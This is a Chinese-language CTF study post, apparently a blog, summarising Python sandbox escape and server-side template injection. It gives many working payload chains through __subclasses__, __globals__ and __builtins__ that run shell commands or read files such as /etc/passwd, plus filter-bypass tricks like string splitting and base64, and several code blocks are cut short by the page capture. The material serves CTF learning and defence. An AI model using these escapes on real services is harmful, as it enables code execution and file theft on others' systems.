前言:
由于最近在打比赛时经常遇到各种python沙箱逃逸和ssti模板注入知识因此自己总结一波。
0x01 基础知识
dir()函数
dir() 函数不带参数时,返回当前范围内的变量、方法和定义的类型列表;带参数时,返回参数的属性、方法列表。如果参数包含方法dir(),该方法将被调用。如果参数不包含dir(),该方法将最大限度地收集参数信息。
1 | >>> dir() |
__builtins__
__builtins__即是引用,Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中了,而对于__builtins__却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
可以通过dir()函数来查看该模块内包含的函数,同时也可以通过dict属性调用这些函数。
1 | # 下面代码可列出所有的内联函数 |
__import__
__import__接收字符串作为参数,导入该字符串名称的模块。
如import sys相当于__import__(‘sys’),另外由于参数是字符串的形式,因此在某些情况下可利用字符串拼接的方式Bypass过滤,如:__import__(‘o’+’s’).system(‘ca’+’lc’)。
__bases__
返回一个类直接所继承的类(元组表示)
1 | class Base1: |
__mro__
method resolution order(解析方法调用的顺序)
1 | class A(object): |
可以看出__base__返回第一个调用的基类,__mro__表示调用的顺序。
__class__
返回一个实例所属的类
1 | class Base: |
__class__指明了所属的类型
1 | [].__class__ |
__globals__
__globals__是一个特殊属性,能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules。
1 | #coding:utf-8 |
object类
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__和__bases__两种方式来创建object的方法如下:
1 | ''.__class__.__mro__[2] |
__subclasses__()
获取一个类的子类,返回的是一个列表
1 | class Base(object): |
__builtin__ 和 __builtins__
python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)。在控制台中直接输入__builtins__会看到如下情况.。
1 | #python2 |
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
模板的导入
常规的导入方式:
1 | import xxx |
除此之外,也可以通过路径引入模块,如在Linux系统中Python的os模块的路径一般都是在 /usr/lib/python2.7/os.py,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数:
1 | >>> import sys |
import导入机制:当 import 一个模块时首先会在 sys.modules 这个字典中查找是否已经加载了此模块,如果加载了则只是将模块的名字加入到正在调用 import 的模块的 Local 命名空间中。如果没有加载则从 sys.path 目录中按照模块名称查找模块文件,模块可以是 py、pyc、pyd,找到后将模块载入内存,并加到 sys.modules 中,并将名称导入到当前的 Local 命名空间。
- 通过 from a import b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。通过 import a as b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。对于嵌套导入的,比如 a.py 中存在一个 import b,那么 import a 时,a 和 b 模块都会被添加到 sys.modules 字典中,a 会被导入到当前的 Local 命名空间中,虽然模块 b 已经加载到内存了,如果访问还要再明确的在本模块中 import b。
- 导入模块时会执行该模块。
- 所以说如果某一个模块导入了os模块,我们就可以利用该模块的 dict 进而使用os模块,如下:
1
2
3
4import linecache
linecache.__dict__['os'].system('ls')
# 等价于
linecache.os.system('ls')
0x02 可利用的模块和方法
在 Python 的内建函数中,有一些函数可以帮助我们实现命令执行或文件操作的利用。
命令执行类
os模块
1 | import os |
commands模块
commands模块会返回命令的输出和执行的状态位,仅限Linux环境
1 | import commands |
subprocess模块
1 | import subprocess |
pty模块
仅限Linux环境
1 | import pty |
timeit模块
1 | import timeit |
platform模块
1 | import platform |
__import__()函数
这个函数只是通过引入其他命令执行库实现命令执行:
1 | __import__("os").system("ls") |
importlib模块
1 | import importlib |
exec()/eval()/execfile()/compile()函数
这几个函数都能执行参数的Python代码。
注意:execfile()只存在于Python2,Python3没有该函数。
1 | exec("__import__('os').system('calc')") |
sys模块
该模块通过modules()函数引入命令执行模块来实现:
1 | import sys |
文件操作类
file()函数
注意:该函数只存在py2中
1 | file('/etc/passwd').read() |
open()函数
1 | open('/etc/passwd').read() |
codecs模块
1 | import codecs |
获取当前python的环境信息
sys模块
1 | import sys |
0x03 沙箱逃逸技巧
元素链
构造过程
由前面知道,我们可以通过如下方式获取object类:
1 | ''.__class__.__mro__[2] |
然后通过object类的__subclasses__()方法获取所有的子类列表(Python2和Python3获取的子类不同):
1 | ''.__class__.__mro__[2].__subclasses__() |
找到重载过的__init__类,例如:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__ |
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。
写个脚本帮我们来筛选出重载过的__init__类的类:
1 | l = len(''.__class__.__mro__[2].__subclasses__()) |
重载过的__init__类的类具有__globals__属性,这里以WarningMessage为例,会返回很多dict类型:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__ |
寻找keys中的__builtins__来查看引用,这里同样会返回很多dict类型:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__'] |
再在keys中寻找可利用的函数即可,如file()函数为例:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read() |
至此,整个元素链调用的构造过程就走了一遍了,下面看看还有哪些可利用的函数。
使用脚本遍历其他逃逸方法:
py2脚本如下:
1 | # coding=UTF-8 |
运行结果如下:
1 | ----------1----------- |
下面简单归纳为4种方式:
序号为40,即file()函数,进行文件读取和写入,payload如下:
1 | ''.__class__.__mro__[2].__subclasses__()[40]('./flag').read() |
这和前面元素链构造时给出的Demo有点区别:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('./flag').read() |
序号59是WarningMessage类,其具有globals属性,包含builtins,其中含有file()函数,属于第二种方式;而这里是直接在object类的所有子类中直接找到了file()函数的序号为40,直接调用即可。
当然也可以通过调用index()函数的方式来寻找file()函数是否在object类的子类中且序号是多少:
1 | ''.__class__.__mro__[2].__subclasses__().index(file) |
第二种方式:
先看序号为59的WarningMessage类有哪些而利用的模块或方法:
1 | (59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__']) |
以linecache中的os为例,这里简单解释下工具的寻找过程依次如下:
1 | # 确认linecache |
payload如下:
1 | # linecache利用 |
序号为60的catch_warnings类利用payload同上。
序号为61、62的两个类均只有__builtins__可利用,利用payload同上。
序号为72、77的两个类_Printer和Quitter,相比前面的,没见过的有os和traceback,但只有os模块可利用:
1 | # os利用 |
序号为78、79的两个类IncrementalEncoder和IncrementalDecoder,相比前面的,没见过的有open:
1 | # open利用 |
第三种方式:
先看下序号为59的WarningMessage类:
1 | (59, 13, <class 'warnings.WarningMessage'>, '__import__') |
注意是通过values()函数中的数组序号来填写第二个数值实现调用,以下以eval为示例,其他的利用payload和前面的差不多就不再赘述了:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("calc")') |
其他类似修改即可。
第四种方式
这里只有一种序号,为60:
1 | (60, '__import__') |
调用示例如下,其他类似修改即可:
1 | ''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc") |
前面的脚本是针对Python2的,这里再贴个Python3的脚本,原理一致:
1 | # coding=UTF-8 |
过滤__globals__
当__globals__被禁用时,
- 可以用func_globals直接替换;
- 使用getattribute(‘__globa’+’ls__‘);
如:
1
2
3
4
5
6
7# 原型是调用__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')
# 如果过滤了__globals__,可直接替换为func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('calc')
# 也可以通过拼接字符串得到方式绕过
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")['__builtins__']['__import__']('os').system('calc')
过滤__mro__或__bases__或__base__
两者可互相替换来Bypass其中之一被禁用的情况,但需要注意两者获取object类时的格式区别:
1 | ''.__class__.__mro__[2] |
如:
1 | # 三者互换均可 |
base64编码
对关键字进行base64编码可绕过一些明文检测机制:
1 | >>> import base64 |
reload()方法
某些情况下,通过del将一些模块的某些方法给删除掉了,但是我们可以通过reload()函数重新加载该模块,从而可以调用删除掉的可利用的方法:
1 | >>> __builtins__.__dict__['eval'] |
字符串拼接
凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。
如:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__bu'+'iltins__']['__impor'+'t__']('o'+'s').system('ca'+'lc') |
过滤中括号
当中括号[]被过滤掉时,
调用__getitem__()函数直接替换;
调用pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;
如:
1 | # 原型 |
0x05 ssti注入
题目环境搭建如下:
1 | # -*- coding:utf8 -*- |
分析太多了,由于没有过滤随便搞。
一道金典的ctf题目
1 | def make_secure(): |
这道题目运行在python2.7的环境,在删除__import__等危险函数的同时也删除了 reload。
可以用如下的payload绕过:
1 | ().__class__.__bases__[0].__subclasses__()[40]("./flag").read() |
这是另一个payload:
1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls') |
前一部分思路类似于读文件,就来到这。
1 | >>> ().__class__.__bases__[0].__subclasses__()[59] |
可以看到是获取了一个warnings.WarningMessage类,然后继续执行__init__后获取全局变量
func_globals返回一个包含函数全局变量的字典引用
然后获取linecache模块(其中包含了os模块)
1 | >>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'] |
然后用__dict__获取指定模块(由于对输入的字符进行了限制,所以要找个利用字符串获取指定模块的方式)
__dict__是一个字典,键为属性名,值为属性值
1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'] |
直接逃逸就好了:
1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls') |
0x06 绕过再分析
利用继承链绕过沙盒。
利用file对象读取文件
构造继承链的一种思路是:
1.随便找到一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class ‘object')
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类
例如:
1 | ().__class__.__base__.__subclasses__() |
可以看到:
1 | [...,<type 'file'>, ...] |
寻找file
的位置。
1 | #coding:utf-8 |
用dir
来看看内置的方法
1 | dir(().__class__.__bases__[0].__subclasses__()[40]) |
运行的结果如下:
1 | ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines'] |
构造payload如下:
1 | ().__class__.__bases__[0].__subclasses__()[40]('filename').readlines() |
或者用__mro__
构造如下:
1 | ().__class__.__mro__[1].__subclasses__()[40]('filename').readlines() |
方法等价于
1 | file('./flag').readlines() |
用类置模块执行命令
可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等)。
1 | #coding:utf-8 |
如下的payload:
1 | ().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami') |
上面的方法是基于python2的。
下面是py2和py3都通用的。
我们要用__builtins__来构造。
1 | #coding:utf-8 |
于是有py3:
1 | ().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") |
py2:
1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") |